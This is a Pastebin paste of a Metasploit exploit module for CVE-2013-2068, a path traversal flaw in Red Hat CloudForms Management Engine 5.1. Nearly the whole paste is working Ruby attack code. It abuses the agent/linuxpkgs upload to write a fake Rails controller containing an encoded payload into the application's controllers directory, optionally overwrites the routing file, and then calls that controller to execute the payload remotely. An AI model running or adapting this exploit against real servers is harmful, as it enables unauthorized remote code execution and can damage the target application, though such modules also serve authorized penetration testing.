Advertisement
AndrewHaxalot

Red Hat CloudForms 5.1 - agent/linuxpkgs Path Traversal

Dec 26th, 2013
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.40 KB | None | 0 0
  1. Red Hat CloudForms Management Engine 5.1 - agent/linuxpkgs Path Traversal
  2.  
  3. ##
  4. # This module requires Metasploit: http//metasploit.com/download
  5. # Current source: https://github.com/rapid7/metasploit-framework
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit4 < Msf::Exploit::Remote
  11.  
  12. include Msf::Exploit::Remote::HttpClient
  13. include Msf::Exploit::FileDropper
  14.  
  15. def initialize
  16. super(
  17. 'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
  18. 'Description' => %q{
  19. This module exploits a path traversal vulnerability in the "linuxpkgs"
  20. action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
  21. (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
  22. It uploads a fake controller to the controllers directory of the Rails
  23. application with the encoded payload as an action and sends a request to
  24. this action to execute the payload. Optionally, it can also upload a routing
  25. file containing a route to the action. (Which is not necessary, since the
  26. application already contains a general default route.)
  27. },
  28. 'Author' => 'Ramon de C Valle',
  29. 'License' => MSF_LICENSE,
  30. 'References' =>
  31. [
  32. ['CVE', '2013-2068'],
  33. ['CWE', '22'],
  34. ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
  35. ],
  36. 'Platform' => 'ruby',
  37. 'Arch' => ARCH_RUBY,
  38. 'Privileged' => true,
  39. 'Targets' =>
  40. [
  41. ['Automatic', {}]
  42. ],
  43. 'DisclosureDate' => 'Sep 4 2013',
  44. 'DefaultOptions' =>
  45. {
  46. 'PrependFork' => true,
  47. 'SSL' => true
  48. },
  49. 'DefaultTarget' => 0
  50. )
  51.  
  52. register_options(
  53. [
  54. Opt::RPORT(443),
  55. OptString.new('CONTROLLER', [false, 'The name of the controller']),
  56. OptString.new('ACTION', [false, 'The name of the action']),
  57. OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
  58. OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
  59. ], self.class
  60. )
  61.  
  62. register_advanced_options(
  63. [
  64. OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
  65. ], self.class)
  66. end
  67.  
  68. def check
  69. res = send_request_cgi(
  70. 'uri' => normalize_uri(target_uri.path, "ping.html")
  71. )
  72.  
  73. if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
  74. return Exploit::CheckCode::Detected
  75. end
  76.  
  77. return Exploit::CheckCode::Unknown
  78. end
  79.  
  80. def exploit
  81. controller =
  82. if datastore['CONTROLLER'].blank?
  83. Rex::Text.rand_text_alpha_lower(rand(9) + 3)
  84. else
  85. datastore['CONTROLLER'].downcase
  86. end
  87.  
  88. action =
  89. if datastore['ACTION'].blank?
  90. Rex::Text.rand_text_alpha_lower(rand(9) + 3)
  91. else
  92. datastore['ACTION'].downcase
  93. end
  94.  
  95. data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
  96.  
  97. print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
  98. res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
  99. fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
  100. register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
  101. # According to rcvalle, all the version have not been checked
  102. # so we're not sure if res.code will be always 500, in order
  103. # to not lose sessions, just print warning and proceeding
  104. unless res and res.code == 500
  105. print_warning("Unexpected reply but proceeding anyway...")
  106. end
  107.  
  108. if datastore['ROUTES']
  109. data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
  110.  
  111. print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
  112. res = upload_file("../../config/routes.rb", data)
  113. fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
  114. # According to rcvalle, all the version have not been checked
  115. # so we're not sure if res.code will be always 500, in order
  116. # to not lose sessions, just print warning and proceeding
  117. unless res and res.code == 500
  118. print_warning("Unexpected reply but proceeding anyway...")
  119. end
  120. end
  121.  
  122. print_status("Sending execute request to #{target_url(controller, action)}...")
  123. send_request_cgi(
  124. 'method' => 'POST',
  125. 'uri' => normalize_uri(target_uri.path, controller, action)
  126. )
  127. end
  128.  
  129. def upload_file(filename, data)
  130. res = send_request_cgi(
  131. 'method' => datastore['HTTP_METHOD'],
  132. 'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
  133. "vars_#{datastore['HTTP_METHOD'].downcase}" => {
  134. 'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
  135. 'filename' => filename,
  136. 'md5' => Rex::Text.md5(data)
  137. }
  138. )
  139.  
  140. return res
  141. end
  142.  
  143. def target_url(*args)
  144. (ssl ? 'https' : 'http') +
  145. if rport.to_i == 80 || rport.to_i == 443
  146. "://#{vhost}"
  147. else
  148. "://#{vhost}:#{rport}"
  149. end + normalize_uri(target_uri.path, *args)
  150. end
  151. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement